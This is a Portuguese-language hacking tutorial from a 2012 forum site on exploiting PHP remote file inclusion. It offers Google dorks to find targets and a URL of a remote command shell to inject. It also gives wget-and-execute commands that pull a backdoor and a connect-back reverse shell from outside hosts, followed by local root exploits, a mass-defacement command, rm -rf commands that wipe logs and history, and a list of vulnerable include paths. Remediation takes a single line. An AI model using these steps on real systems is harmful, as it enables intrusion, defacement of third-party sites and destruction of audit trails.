Sindicato Hacker
 

 FORUM SELOS | CONTATO Segunda Feira, 06 de Fevereiro de 2012  

MÁFIA DOURADA
  Pagina Inicial
  Downloads
  Video Aulas
  Windows
  Linux
  Mac OS X
  Tutoriais
  Notícias

  Como Baixar?
  Medir Conexão
  Sites Indicados
  Comunidades

Comunidade do Sindicato Hacker no Orkut

Siga-nos no Twitter!

Planeta Hospedagem - Hospedagem Profissional!
 Tutoriais
  Hacker
PHP Injection

Tutorial completo de php injection para iniciantes ;P
irc.phey.net --> #rsy smartboy_@mail.com
r00t_System - AFROM4N - Spofs - kieger - Mc-KiNNeY - SmartBoy_

* fins apenas de conhecimento :P O mau uso deste tutorial é de
propia responsabilidade



1) Introdução

Já que muita gente pede ajuda sobre php injection, resolvi fazer
um tutorial de simples entendimento pra facilitar a vida da galera new.
Esta falha consiste em usuários incluirem scripts no codigo php da
vitima e este ser executado. Quando corretamente utilizado, que é o que
explicarei nesse tutorial, o intruso pode setar comandos ao servidor.
Boa parte do processo pode ser feito pelo próprio browser (IE,
mozilla, netscape...).
Tentarei explicar como procura, explora e corrige o bug. Espero
ser util para todos ;)

Obs1.: Este tutorial foi feito para explicar uma das maneiras utilizadas
por pessoas para desfigurar sites mas pode ser utlizado para outros fins.
Vai da cabeça de cada um :P

Obs2.: No final, terão urls com os programas citados.



2) O que é o que

Vitima : Site que você irá explorar a falha de php.
String : Arquivos no site suceptiveis ao ataque.
Cmd : Script em PHP que nos possibilita digitar
comandos a serem incluidos no php.
Backdoor : Abre portas no sistema para conexão remota 'sem
autenticação'.
Connect Back : Abre uma porta especifica para conexao entre seu
pc e a vitima.
Exploit : Programa que explora certa falha num sistema.
Há vários tipos de Exploits. Aqui, iremos
tratar apenas com Local Root Exploits. (exploram
falhas localmente que levam usuários comuns a
acesso root - super-usuário -)
Shell : É um programa interpretador de comandos que
permite ao usuário iteragir com o sistema
operacional através de comandos digitados.
Telnet : Utilizaremos para conexões remotas.
Firewall : É uma barreira inteligente entre uma rede local
e a Internet, através da qual só passa tráfego
autorizado. Este tráfego é examinado pelo
firewall em tempo real e a seleção é feita de
acordo com a regra."o que não foi expressamente
permitido, é proibido"
root : Super-usuário. É o admin... tem acesso total ao
sistema.



------------------- No browser


3) Strings

Há várias strings disponíveis. Neste tutorial, irei utilizar para
exemplos uma bem simples que é " index.php?page= ". Em anexo, no final,
várias outras :P



4) Sintaxe

Ex.:
www.site.com /arquivo.php?data= http://CMD/cmd.gif?&cmd= ls

^ ^ ^ ^
Vitima String CmD comando unix

P.S.: Sem os espaços.



5) Procurando site vulnerável.

Uma excelente ferramente para os kiddies, sem dúvida, é o google.
Há várias maneiras de fazer buscas por ele, dentre elas:

Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja
procurando no sistema de busca.

word : Busca por sites q contenham a 'word' em qualquer
lugar da pagina.
allinurl: : Sites que contenham na url a word citada. Ex:
www.site.com/forum/word.php?id=0 .
allintitle: : Restringe sua pesquisa ao título da página.
intitle: : Parecido com o de cima, para maiores
esclarecimentos no final do tuto.
inanchor: : Busca nos links dentro co corpo dos sites. <a
href="PROCURA AQUI DENTRO">
site: : Procura sites de um determinado domínio. Ex:
site:br <- procura sites .br
link: : Sites que contenham links para um outro
determinado site. Ex: link:www.securityfocus.com
filetype: : Filtra por extensões de arquivos. Ex:
filetype:php <- procura apenas urls .php

Essas dicas devem ser uteis não apenas na busca de sites
vulneraveis, mas também nas buscas comuns para você ;)

Utilizando a string "index.php?page=" para sites .gov -->
allinurl:index.php?page= site:gov

Fácil..
.
Você também pode usar um scanner pra tornar o processo mais
eficiente. kieger (membro do r00t_System grouP) codou um em perl:
Procura com o sistema do google, testa e imprime os vulneraveis num
arquivo. Código no final do tutorial.



6) Utilizando a CmD

6.1) Incluindo

Cmd = http://rootsystem.100free.com/cmd/cse.gif?&cmd=
(coded by Crash from datacha0s group.)

No resultado, insira a cmd na string. Ex:
www.site.com/index.php?page=http://root ... com/cmd/cs
e.gif?&cmd=

Não tem mistério.

6.2) A Cmd

datacha0s - PHP Command/Safemode Exploit
System Information

sysname: --> Sistema operacional rodando.
nodename: --> Nome local.
release: --> Versão do kernel.
Script Current User: --> Usuário pelo qual o script está sendo executado.
PHP Version: --> Versão do php da máquina
User Info: --> Informação do user (uid, euid, gid).
Current Path: --> Pasta atual que você está no server.
Server IP: --> Ip do servidor.
Web Server: --> Informações sobre o servidor.


[*] Command Mode Run
Command Stdout

(( aqui ficarao os resultados dos comandos ))
(( inseridos na cmd ))


Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.



7) Ganhando acesso à shell


Para os próximos passos, você precisa estar na shell
(interpretador de comandos) da máquina. Para isto, explicarei duas
maneiras de tornar isto possível: Backdoor e Connect Back.

7.1) Rodando backdoor no server para conexão remota

Para rodar um backdoor, basta fazer um upload, escolher
permissões, e executá-lo.

Comando: cd /var/tmp;wget www.site.onde.está.o.backdoor.com/backd
oor;chmod 777 backdoor;./backdoor

cd /var/tmp -> Faz a operação nesta pasta, por ser comum a
todos os usuários e devido às suas permissões.
/tmp tb serve :)

wget www.(...)/backdoor -> Copia o backdoor a partir de uma url para o
site. Quando wget não funcionar, tente outros
comandos. Sintaxes:

wget www.site.com/arquivo
lynx -source www.site.com/arquivo > arquivo
curl -o arquivo www.site.com/arquivo
GET www.site.com/arquivo > arquivo
(...)

Após feito isso, aparecerá a seguinte mensagem:

Daemon Working...
pid = XXXXX

Isto significa que o backdoor está rodando.
Agora, basta conectar-se à shell. Como?

No Win: Iniciar -> Executar -> telnet www.site.com porta

Onde o www.site.com recebe o nome ou ip do site que você rodou o
backdoor e porta é a porta que o backdoor está trabalhando.

Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque
funcionou! E você tem acesso à shell na máquina!
Se demorar um tempo e não cair na shell, confira o nome/ip do
server.. se estiver correto, ele está rodando Firewall. E agora?
simples, Connect Back. :P



7.2) Connect Back


Método muito eficiente para ganhar shell numa máquina. Ganha shell
reversamente.
Windows: Baixe o netcat para windows e no Prompt do MSDOS (na
pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15
pode ser escolhido de acordo com sua preferência. Esta porta será a que
realizará a conexão.

Agora, voltando para o browser, na cmd digite o seguinte comando:
cd /var/tmp;wget www.site.do.dc.com/dc;chmod 777 dc;./dc IP porta

cd /var/tmp -> Mesmo que para backdoor.
wget www.site.do.dc.com/dc -> | | | | , mas é logico, com o
endereço da dc.
./dc IP porta -> onde IP é o SEU IP e porta é a porta
que você escolheu no netcat.


Feito isso, se ocorrer tudo certo, aparecerá como resultado:

Connect Back Backdoor

[*] Dumping Arguments
[*] Resolving Host Name
[*] Connecting...
[*] Spawning Shell
[*] Detached

Isto significa que você se conectou na shell! ;) Agora, vá para o
MSDOS e vamos para o próximo passo.

Se aparecer

Connect Back Backdoor

[*] Dumping Arguments
[*] Resolving Host Name
[*] Connecting...
[-] Unable to Connect

confira os dados (seu ip, porta, netcat, etc). Se insistir, sua
rede não aceita este tipo de conexão. Tente outras portas (como 80, 22,
15, etc).



---------------------------------- Na Shell


8) Comandos básicos

Eu ia passar direto nessa parte, mas sei que muitos não conhecem
os comandos unix. Então vamos conhecer alguns:

ls -> Lista arquivos. Pode ser combinado com -a (mostra
ocultos) e -l (mostra detalhadamente). Ex: ls -la
(mostra detalhadamente os arquivos, inclusive ocultos).
uname -a -> Mostra informações do sistema, como versão do kernel,
nome, e outras coisas uteis.
id -> Mostra sua id.
w -> Lista os usuários logados no momento.
cp -> Copia arquivos. Sintaxe: cp arquivo /destino/
mv -> Move arquivos. Sintexe: mv arquivo /destino/
rm -> Remove arquivos. Se combinado com -rf , remove todos
os arquivos setados, inclusive pastas
mkdir -> Cria diretorio
rmdir -> Exclui diretorio
find -> Procura por arquivos/pastas. Ex: " find /etc -name
httpd.conf " procura pelo httpd.conf na pasta /etc
pwd -> Mostra em que pasta você está localizado
cat -> Exibe o conteúdo de um arquivo na tela

head -> Exibe linhas do início do arquivo
tail -> || || || final do arquivo
ctrl+c -> Sai/killa um programa
ctrl+r -> Busca comando digitado no history do bash
ps -auxw -> Lista todos os processos do sistema
netstat -na -> Status da conexão
kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO
kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO
pico -> Editor de texto. Sintaxe: pico arquivo
vi -> | | vi arquivo


Salvando resultados em arquivos
comando > /arquivo/onde/será/armazenado
Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de
/etc no arquivo /tmp/s.txt

Adicionando linhas em arquivos
echo ' linha ' >> /arquivo/onde/será/incluido

Descompactando arquivos (os mais comuns)
.tar -> tar xvf arquivo.tar
.tar.gz -> tar zxvf arquivo.tar.gz
.tar.bz2 -> tar jxvf arquivo.tar.bz2
.zip -> unzip arquivo.zip


Compactando arquivos (os mais comuns)
.tar -> tar cvf destino.tar ARQUIVO
.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar
.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar
.zip -> zip destino.zip ARQUIVO


Bom.. procure um tutorial de linux para maiores esclarecimentos :P



9) Ganhando acesso root

Para ganhar acesso root localmente numa máquina, vai depender
muito. Você precisa de um exploit local e o sistema deve estar vulnerável.
Simples, basta baixar, escolher as permissões e executar.. assim
como você faz com o backdoor.. mas isto você faz na shell.
Os mais comuns no momento são mremap , brk e kmod para kernel
abaixo de 2.4.24
Se tudo ocorrer corretamente rootando a máquina, ao digitar o
comando "id" você verá

bash-2.05b# id
uid=0(root) gid=0(root)



Pronto! Você é root! Divirta-se ;)




-------------------------------- Corrigindo o bug



10) Correção

Maneira bem simples de corrigir o bug de php é editando o arquivo
php.ini na pasta de configuração do seu apache e desabilitando as funções

system, exec, passthru, shell_exec

(...)
E, claro, sempre estar atento com novidades acesse o sindicato hacker
para manter-se atualizado :)))




-------------------------------- Fun for kiddies


Bom, após ter root na máquina, pode-se fazer o que quiser :P Vai
da criatividade e necessidade da pessoa.

Para kiddies, com o objetivo de pinchar os sites, vamos lá
entender como isso funciona. Melhor, vou tentar explicar como faz um mass
defacement.



11) Lista dos sites hospedados no server

Bom, para defacement, essa parte é essencial: saber quais os sites
que estão lá. Mas como?

11.1) httpd.conf

Geralmente os dados dos sites hospedados ficam neste arquivo. Para
fazer uma listagem dos sites, basta digitar um comando que irá ler o
arquivo httpd.conf e imprimir as linhas que contenham ServerName
(nome dos sites). (na pasta onde o httpd.conf se encontra)
cat httpd.conf | grep ServerName
(se estiverem neste arquivo mesmo, você pode salvar o resultado
num arquivo - preferencialmente na pasta do site que você partiu - e fazer
download)

---->
Como? Bom, na CMD, digite pwd. Você verá o local onde você
se encontra no servidor. Ex: /home/httpd/vhosts/nasa.gov/web/
Digamos que a url seja esta: http://nasa.gov/index.php?page=CMD
Então, se você jogar o resultado para /home/httpd/vhosts/nasa.gov/web
Este arquivo estará na raiz do site. Só digitar este comando:

cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/we
b/RESULTADO.txt
(apenas um exemplo)
Feito isso, http://nasa.gov/RESULTADO.txt e baixar a lista :P

<----

Agora, onde está isso? GERALMENTE nas pastas /etc/httpd/conf ou
/etc/apache/conf mas varia muito e pode ser encontrado em outros
locais. Uma maneira eficaz, porem demorada, de encontrar é fazendo uma
busca completa pelo sitema. Comando:
find / -name httpd.conf
Isto imprime onde está o httpd.conf no servidor. Pode aparecer
mais que um resultado, vá testando :P Só assim


11.2) Outras maneiras...

Se mesmo assim, não conseguir achar quais sites tem lá, procure
formas alternativas. Infelizmente não tem como explicar pois em cada
server há uma maneira. Exemplo:

Se na pasta onde os sites estão localizados, você listá-los e o
resultado ja tiver o nome e domínio deles: ex: ls /home/httpd/vhosts
site.com
mtv.com.br
nasa.gov
whitehouse.gov
fuckbush.org
...etc

Outras vezes, se encontram num arquivo chamado
confixxx_alguma_coisa ... não tem mágica. Vasculhe o server...


12) Fazendo o bendito o mass defacement

Bom, primeiro, crie uma index que você queira que fique no lugar
das outras. Feita ela, jogue para algum lugar que você possa fazer o
upload pro server.
Há locais gratuitos que podem ser utilizados, como o 100free.com .
Crie uma conta e jogue o index lá. Se quiser renomeá-lo pra .zip pra ficar
sem propagandas, pode também :P

Agora, o final: trocar todas as outras pela sua. Simples, basta um
comando para isso:

find /pasta/onde/estão/os/sites -name "index.*" -exec cp
/onde/está/sua/index.html {} \;

Para saber onde estão os sites, só pwd na cmd. Ex:
/home/httpd/vhosts/nasa.gov/web
Nota-se que todos os outros estão em /home/httpd/vhosts.

Faça o upload igual backdoor. wget http://suaindex.com/sua.index
Digamos que você fez para a pasta /tmp , então, o comando ficaria
assim:

find /home/httpd/vhosts -name "index.*" -exec cp /tmp/index.html
{} \;


Agora é só aguradar um pouco que todos os sites serão pinchados :P


Posts: www.Zone-H.org


13) Apagando logs

Alguns comandos úteis para apagar logs:

rm -rf /var/log
rm -rf /var/adm
rm -rf /var/apache/log
rm -rf $HISTFILE
find / -name .bash_history -exec rm -rf {} \;
find / -name .bash_logout -exec rm -rf {} \;
find / -name log* -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;




-------------------------------- FiM hahaehiaueuihae

Pronto, acho que é só isso.. Qualquer erro, só dizer pra que
eu possa corrigir :D


Greetz --> s4r4d0, magopoka, believe ^^



-------------------------------- Strings comuns

./modules/mod_mainmenu.php?mosConfig_absolute_path=
./include/new-visitor.inc.php?lvc_include_dir=
./path_of_cpcommerce/_functions.php?prefix
./modules/My_eGallery/public/displayCategory.php?basepath=
./modules/4nAlbum/public/displayCategory.php?basepath=
./modules/coppermine/themes/default/theme.php?THEME_DIR=
./modules/agendax/addevent.inc.php?agendax_path=
./shoutbox/expanded.php?conf=
./modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
./pivot/modules/module_db.php?pivot_path=
./library/editor/editor.php?root=
./library/lib.php?root=
./e107/e107_handlers/secure_img_render.php?p=
./main.php?x=
./index.php/main.php?x=
./index.php?include=
./index.php?x=
./index.php?open=
./index.php?visualizar=
./template.php?pagina=
./index.php?pagina=
./index.php?inc=

Creditos: fatal error
Edição e correção: D1R3CT0RY H4X0R

Este Tutorial teve 468 acessos.

ÁREA RESTRITA
Login:
Senha:

PUBLICIDADE
Planeta Hospedagem
ymusicx.com

Programação Orientada a Gambiarras

PageRank

 © 2012 Sindicato Hacker. Todos os Direitos Reservados. ANUNCIE | TERMOS DE USO | EQUIPE